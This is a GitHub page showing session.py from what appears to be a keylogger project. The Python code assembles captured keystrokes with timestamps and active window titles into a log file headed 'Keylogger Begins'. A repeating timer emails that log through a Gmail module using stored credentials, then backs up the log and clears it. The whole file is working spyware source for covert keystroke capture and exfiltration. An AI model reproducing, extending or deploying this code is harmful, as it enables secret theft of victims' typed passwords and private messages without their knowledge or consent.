-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathsession.py
53 lines (46 loc) · 1.71 KB
/
session.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import data
import sendmail
import threading
class Write:
def __init__(self):
self.strLog = ''
def store(self, lst):
self.strLog = str('\n' + str(lst[0]['time']) + ' [' +
str(lst[0]['window']) + ']: Start\n')
cnt = len(lst)
for itm in lst:
if len(str(itm['key'])) > 1:
itm['key'] = ' [' + str(itm['key']) + '] '
self.strLog += str(itm['key'], )
self.strLog += str('\n' + str(lst[cnt - 1]['time']) + ' [' +
str(lst[cnt - 1]['window']) + ']: End\n\n', )
# Can Include Character Checks here - Shift, Backspace, Delete etc etc
self.write()
def write(self):
print(self.strLog)
if data.Initialize.count == 0:
with open(data.Initialize.filepath, 'w') as fle:
fle.write("Keylogger Begins")
self.report()
data.Initialize.count += 1
#print(self.strLog)
with open(data.Initialize.filepath, 'a') as fle:
fle.write(self.strLog)
fle.close()
return True
def report(self):
mailer = sendmail.Gmail()
mailer.mail(email=data.Initialize.email, password=data.Initialize.password, filepath=data.Initialize.filepath)
self.backup(data.Initialize.filepath)
timer = threading.Timer(data.Initialize.time, self.report)
timer.start()
def backup(self, filepath):
fin = open(filepath, "r")
findata = fin.read()
fin.close()
fout = open(data.Initialize.filecopy, "a")
fout.write(findata)
fout.close()
with open(data.Initialize.filepath, 'w') as fle:
fle.write('')
fle.close()